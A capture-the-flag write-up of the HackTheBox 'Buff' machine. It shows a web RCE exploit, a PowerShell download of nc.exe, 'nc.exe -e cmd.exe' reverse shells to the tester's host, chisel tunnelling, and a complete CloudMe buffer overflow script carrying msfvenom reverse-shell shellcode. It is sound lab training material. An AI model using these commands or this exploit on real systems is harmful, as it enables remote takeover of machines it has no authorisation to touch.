Posts HackTheBox - Buff
Post
Cancel

HackTheBox - Buff

BoxInfo

Summary

  • We get a reverse shell via a RCE vulnerability in Gym Management System 1.0
  • We find buffer overflow exploit for the CloudMe service running on the machine.
  • Chisel helps us in local port forwarding, to access the CloudMe service on our own machine.
  • We use msfvenom to generate a tcp reverse shell payload.
  • We use this payload to change the Buffer Overflow exploit and get an administrator shell.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# nmap -sC -sV 10.10.10.198
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-18 17:19 EDT
Nmap scan report for 10.10.10.198
Host is up (0.33s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.79 seconds

only port 8080 is open with http service running

Port 8080

Its a fitness website with home, package, facilities, about and contact page, some of them are shown below

the contact.php page reveals the CMS of the website

now that we know, the website is built using Gym Management Software 1.0, lets use searchsploit to find any exploits for this CMS

RCE

Searchsploit

1
2
3
4
5
6
7
8
root@kali:~# searchsploit gym
------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                           |  Path
------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - Unauthenticated Remote Code Execution        | php/webapps/48506.py
WordPress Plugin WPGYM - SQL Injection                                   | php/webapps/42801.txt
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

searchsploit found an unauthenticated RCE exploit for Gym Management System 1.0

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~# python 48506.py 
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

(+) Usage:       python 48506.py <WEBAPP_URL>
(+) Example:     python 48506.py 'https://10.0.0.3:443/gym/'

root@kali:~# python 48506.py http://10.10.10.198:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG

buff\shaun

C:\xampp\htdocs\gym\upload> type \users\shaun\desktop\user.txt
�PNG

9dfb44fec478b66cd90565d035a1a972

we got user.txt, now lets upload nc.exe and get a proper shell to work on privEsc

Reverse Shell

Upload nc.exe

Start a python http server and upload nc.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C:\xampp\htdocs\gym\upload> powershell -c "wget 10.10.14.45:8000/nc.exe -o nc.exe"     
PNG


C:\xampp\htdocs\gym\upload> dir
PNG

 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

22/07/2020  03:34    <DIR>          .
22/07/2020  03:34    <DIR>          ..
22/07/2020  01:39                53 kamehameha.php
22/07/2020  03:34            59,392 nc.exe
               2 File(s)         59,445 bytes
               2 Dir(s)   9,844,273,152 bytes free

Shell as Shaun

start a netcat listener and use nc.exe to get a reverse shell

1
C:\xampp\htdocs\gym\upload> nc.exe -e cmd.exe 10.10.14.45 1234

got a shell as shaun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.198: inverse host lookup failed: Unknown host
connect to [10.10.14.45] from (UNKNOWN) [10.10.10.198] 49701
Microsoft Windows [Version 10.0.17134.1550]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

C:\xampp\htdocs\gym\upload>type \users\shaun\desktop\user.txt
type \users\shaun\desktop\user.txt
4d1712532f25c337dcd90573160bf5fe

CloudMe

I found CloudMe_1112.exe executable file in shaun’s download directory

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\shaun\Downloads> dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   9,843,556,352 bytes free

tasklist

I used tasklist command to check if CloudMe process is running and it indeed was

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
C:\xampp\htdocs\gym\upload>tasklist /v
tasklist /v

Image Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title
========================= ======== ================ =========== ============ =============== ================================================== ============ =============
System Idle Process              0                            0          8 K Unknown         NT AUTHORITY\SYSTEM                                     0:10:31 N/A
System                           4                            0        132 K Unknown         N/A                                                     0:00:44 N/A
Registry                       104                            0     14,052 K Unknown         N/A                                                     0:00:02 N/A
smss.exe                       364                            0        984 K Unknown         N/A                                                     0:00:00 N/A
dwm.exe                        384                            1     46,668 K Unknown         N/A                                                     0:00:25 N/A
...
...
WMIADAP.exe                   8456                            0      6,864 K Unknown         N/A                                                     0:00:02 N/A
nc.exe                        3604                            0      4,552 K Unknown         BUFF\shaun                                              0:00:00 N/A
cmd.exe                       2088                            0      3,264 K Unknown         N/A                                                     0:00:00 N/A
conhost.exe                   3108                            0     11,048 K Unknown         N/A                                                     0:00:00 N/A
CloudMe.exe                    428                            0     38,472 K Unknown         N/A                                                     0:00:00 N/A
timeout.exe                   1632                            0      3,988 K Unknown         N/A                                                     0:00:00 N/A
tasklist.exe                  6496                            0      8,156 K Unknown         BUFF\shaun                                              0:00:00 N/A

netstat

I googled about CloudMe and found that it listens on port 8888

I used netstat to verify this and indeed it is listening on localhost port 8888

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\xampp\htdocs\gym\upload>netstat -anop TCP
netstat -anop TCP

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       952
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5768
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       8904
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       8452
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       528
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1108
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1508
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2164
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       668
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       684
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.198:8080      10.10.14.45:38736      ESTABLISHED     8452
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       8512
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       2252

Searchsploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~# searchsploit cloudme
-------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                            |  Path
-------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)                                    | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)                           | windows/local/48499.txt
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)                          | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass)                   | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit)            | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow                               | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                           | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                  | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow                                   | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass)                | windows_x86-64/remote/44784.py
-------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

There are a lot of buffer overflow exploits for CloudMe
as I found CloudMe_1112.exe in the downloads directory which is CloudMe version 1.11.2, so I tried exploits for this version but couldn’t get any of them working
The exploit for version 1.11.0 which is windows/local/44470.py worked for me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import socket

target="127.0.0.1" 

junk="A"*1052

eip="\x7B\x8A\xA9\x68"    #68a98a7b : JMP ESP - Qt5Core.dll

# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.45 LPORT=4444 -f c

shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x2d\x68"
"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

payload=junk+eip+shellcode

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)

I used msfvenom to create the shellcode with my IP as LHOST and didn’t change the rest of the exploit

Chisel

As python is not present on the machine and the CloudMe service is running on localhost, we need to forward the port to our machine in order to run the exploit
we can do this using either Chisel or PLink, I will show this using chisel
We need chisel for both windows and linux, download the executables from this github link

https://github.com/jpillora/chisel/releases

Upload chisel.exe

first of all upload chisel.exe to the target machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\xampp\htdocs\gym\upload>powershell -c "wget 10.10.14.45:8000/chisel.exe -o chisel.exe"
powershell -c "wget 10.10.14.45:8000/chisel.exe -o chisel.exe"

C:\xampp\htdocs\gym\upload>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

22/07/2020  06:36    <DIR>          .
22/07/2020  06:36    <DIR>          ..
22/07/2020  06:39        10,103,808 chisel.exe
22/07/2020  06:36                53 kamehameha.php
22/07/2020  03:34            59,392 nc.exe
               3 File(s)     10,163,253 bytes
               2 Dir(s)   9,824,452,608 bytes free

Chisel Server

Now that we have chisel on both the machines, lets start the chisel server on our machine

1
2
3
4
root@kali:~# ./chisel server -p 5000 --reverse -v
2020/07/22 01:41:02 server: Reverse tunnelling enabled
2020/07/22 01:41:02 server: Fingerprint 95:3b:86:24:ce:2c:67:3c:6d:8a:b1:21:ee:e4:a1:0b
2020/07/22 01:41:02 server: Listening on 0.0.0.0:5000...

Chisel Client

1
2
3
4
5
C:\xampp\htdocs\gym\upload>.\chisel.exe client 10.10.14.45:5000 R:8888:127.0.0.1:8888
.\chisel.exe client 10.10.14.45:5000 R:8888:127.0.0.1:8888
2020/07/22 06:47:59 client: Connecting to ws://10.10.14.45:5000
2020/07/22 06:48:00 client: Fingerprint 25:2b:20:a5:31:e8:bb:fc:88:4c:f9:60:3c:7b:34:49
2020/07/22 06:48:02 client: Connected (Latency 306.5828ms)

now anything sent to port 8888 on localhost of our machine will be forwarded to the target machine’s localhost port 8888 through the chisel tunnel

Buffer Overflow

Exploit

Now that we can access the machine’s port 8888 on our localhost, we can run the exploit
start a netcat listener on port 4444 and run the exploit

1
root@kali:~# python 44470.py

Administrator Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.198: inverse host lookup failed: Unknown host
connect to [10.10.14.45] from (UNKNOWN) [10.10.10.198] 49737
Microsoft Windows [Version 10.0.17134.1550]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

C:\Windows\system32>type \users\administrator\desktop\root.txt
type \users\administrator\desktop\root.txt
b1253f49dfa74a22347f4d8fba4adddf

This post is licensed under CC BY 4.0